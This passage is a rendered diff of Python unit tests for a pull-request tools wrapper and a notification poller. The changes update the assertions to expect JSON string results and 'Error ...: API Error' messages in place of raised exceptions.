mock_client.list_unread_notifications.assert_called_once_with(since=None)
|
||||||
|
|
||||||
|
# Assert issue and PR details were fetched
|
||||||
|
mock_client.get_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||||
|
mock_client.get_pull_request.assert_called_once_with("meeks", "repo1", 10)
|
||||||
|
|
||||||
# Assert work was processed by dispatcher
|
# Assert work was processed by dispatcher
|
||||||
mock_dispatcher_instance.dispatch.assert_called_once()
|
mock_dispatcher_instance.dispatch.assert_called_once()
|
||||||
@@ -134,9 +137,9 @@ async def test_poll_and_dispatch_with_notifications(
|
|||||||
assert work_items[1].notification_id == 102
|
assert work_items[1].notification_id == 102
|
||||||
|
|
||||||
# Assert notifications were marked as read
|
# Assert notifications were marked as read
|
||||||
mock_client.notifications.mark_notification_as_read.assert_any_call(101)
|
mock_client.mark_notification_as_read.assert_any_call(101)
|
||||||
mock_client.notifications.mark_notification_as_read.assert_any_call(102)
|
mock_client.mark_notification_as_read.assert_any_call(102)
|
||||||
assert mock_client.notifications.mark_notification_as_read.call_count == 2
|
assert mock_client.mark_notification_as_read.call_count == 2
|
||||||
|
|
||||||
# Assert checkpoint date was persisted
|
# Assert checkpoint date was persisted
|
||||||
assert temp_state_file.exists()
|
assert temp_state_file.exists()
|
||||||
|
|||||||
+20
-34
@@ -20,11 +20,11 @@ def test_get_pull_request_success() -> None:
|
|||||||
mock_client.prs.get_pull_request.return_value = pr
|
mock_client.prs.get_pull_request.return_value = pr
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: PullRequestModel = pr_tools.get_pull_request("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request("owner", "repo", 1)
|
||||||
|
|
||||||
assert isinstance(res, PullRequestModel)
|
data: dict[str, Any] = json.loads(res)
|
||||||
assert res.number == 1
|
assert data["number"] == 1
|
||||||
assert res.title == "Test PR"
|
assert data["title"] == "Test PR"
|
||||||
mock_client.prs.get_pull_request.assert_called_once_with("owner", "repo", 1)
|
mock_client.prs.get_pull_request.assert_called_once_with("owner", "repo", 1)
|
||||||
|
|
||||||
|
|
||||||
@@ -33,11 +33,8 @@ def test_get_pull_request_failure() -> None:
|
|||||||
mock_client.prs.get_pull_request.side_effect = Exception("API Error")
|
mock_client.prs.get_pull_request.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
try:
|
res: str = pr_tools.get_pull_request("owner", "repo", 1)
|
||||||
pr_tools.get_pull_request("owner", "repo", 1)
|
assert "Error getting pull request: API Error" in res
|
||||||
assert False, "Expected Exception"
|
|
||||||
except Exception as e:
|
|
||||||
assert str(e) == "API Error"
|
|
||||||
|
|
||||||
|
|
||||||
def test_close_pull_request_success() -> None:
|
def test_close_pull_request_success() -> None:
|
||||||
@@ -58,8 +55,7 @@ def test_close_pull_request_failure() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.close_pull_request("owner", "repo", 1)
|
res: str = pr_tools.close_pull_request("owner", "repo", 1)
|
||||||
assert "Could not close PR" in res
|
assert "Error closing pull request: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_comments_success() -> None:
|
def test_get_pull_request_comments_success() -> None:
|
||||||
@@ -80,8 +76,7 @@ def test_get_pull_request_comments_failure() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
|
||||||
assert "Could not retrieve comments" in res
|
assert "Error getting PR comments: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_list_assigned_pull_requests_success() -> None:
|
def test_list_assigned_pull_requests_success() -> None:
|
||||||
@@ -126,7 +121,7 @@ def test_list_pull_requests_empty() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.list_pull_requests("owner", "repo")
|
res: str = pr_tools.list_pull_requests("owner", "repo")
|
||||||
assert res == "No open PRs in owner/repo."
|
assert res == "No PRs in owner/repo."
|
||||||
|
|
||||||
|
|
||||||
def test_list_pull_requests_failure() -> None:
|
def test_list_pull_requests_failure() -> None:
|
||||||
@@ -135,8 +130,7 @@ def test_list_pull_requests_failure() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.list_pull_requests("owner", "repo")
|
res: str = pr_tools.list_pull_requests("owner", "repo")
|
||||||
assert "Could not list PRs" in res
|
assert "Error listing PRs: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_create_pull_request_success() -> None:
|
def test_create_pull_request_success() -> None:
|
||||||
@@ -145,11 +139,11 @@ def test_create_pull_request_success() -> None:
|
|||||||
mock_client.prs.create_pr_via_tea.return_value = pr
|
mock_client.prs.create_pr_via_tea.return_value = pr
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: PullRequestModel = pr_tools.create_pull_request(
|
res: str = pr_tools.create_pull_request(
|
||||||
"owner", "repo", "head", "base", "Title", "Desc"
|
"owner", "repo", "head", "base", "Title", "Desc"
|
||||||
)
|
)
|
||||||
assert isinstance(res, PullRequestModel)
|
data: dict[str, Any] = json.loads(res)
|
||||||
assert res.number == 2
|
assert data["number"] == 2
|
||||||
mock_client.prs.create_pr_via_tea.assert_called_once_with(
|
mock_client.prs.create_pr_via_tea.assert_called_once_with(
|
||||||
"owner", "repo", "Title", "Desc", "head", "base"
|
"owner", "repo", "Title", "Desc", "head", "base"
|
||||||
)
|
)
|
||||||
@@ -160,11 +154,8 @@ def test_create_pull_request_failure() -> None:
|
|||||||
mock_client.prs.create_pr_via_tea.side_effect = Exception("API Error")
|
mock_client.prs.create_pr_via_tea.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
try:
|
res: str = pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
|
||||||
pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
|
assert "Error creating PR: API Error" in res
|
||||||
assert False, "Expected Exception"
|
|
||||||
except Exception as e:
|
|
||||||
assert str(e) == "API Error"
|
|
||||||
|
|
||||||
|
|
||||||
def test_add_label_to_pr_success() -> None:
|
def test_add_label_to_pr_success() -> None:
|
||||||
@@ -182,8 +173,7 @@ def test_add_label_to_pr_failure() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
|
res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
|
||||||
assert "Could not add label" in res
|
assert "Error adding label to PR #1: API Error" in res
|
||||||
assert "bug" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_diff_success() -> None:
|
def test_get_pull_request_diff_success() -> None:
|
||||||
@@ -201,8 +191,7 @@ def test_get_pull_request_diff_failure() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
|
||||||
assert "Could not retrieve diff" in res
|
assert "Error getting PR diff: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_patch_success() -> None:
|
def test_get_pull_request_patch_success() -> None:
|
||||||
@@ -220,8 +209,7 @@ def test_get_pull_request_patch_failure() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
|
||||||
assert "Could not retrieve patch" in res
|
assert "Error getting PR patch: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_approve_pull_request_success() -> None:
|
def test_approve_pull_request_success() -> None:
|
||||||
@@ -239,8 +227,7 @@ def test_approve_pull_request_failure() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
|
res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
|
||||||
assert "Could not approve PR" in res
|
assert "Error approving PR: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_request_changes_success() -> None:
|
def test_request_changes_success() -> None:
|
||||||
@@ -258,5 +245,4 @@ def test_request_changes_failure() -> None:
|
|||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
|
res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
|
||||||
assert "Could not request changes" in res
|
assert "Error requesting changes: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|||||||
Reference in New Issue
Block a user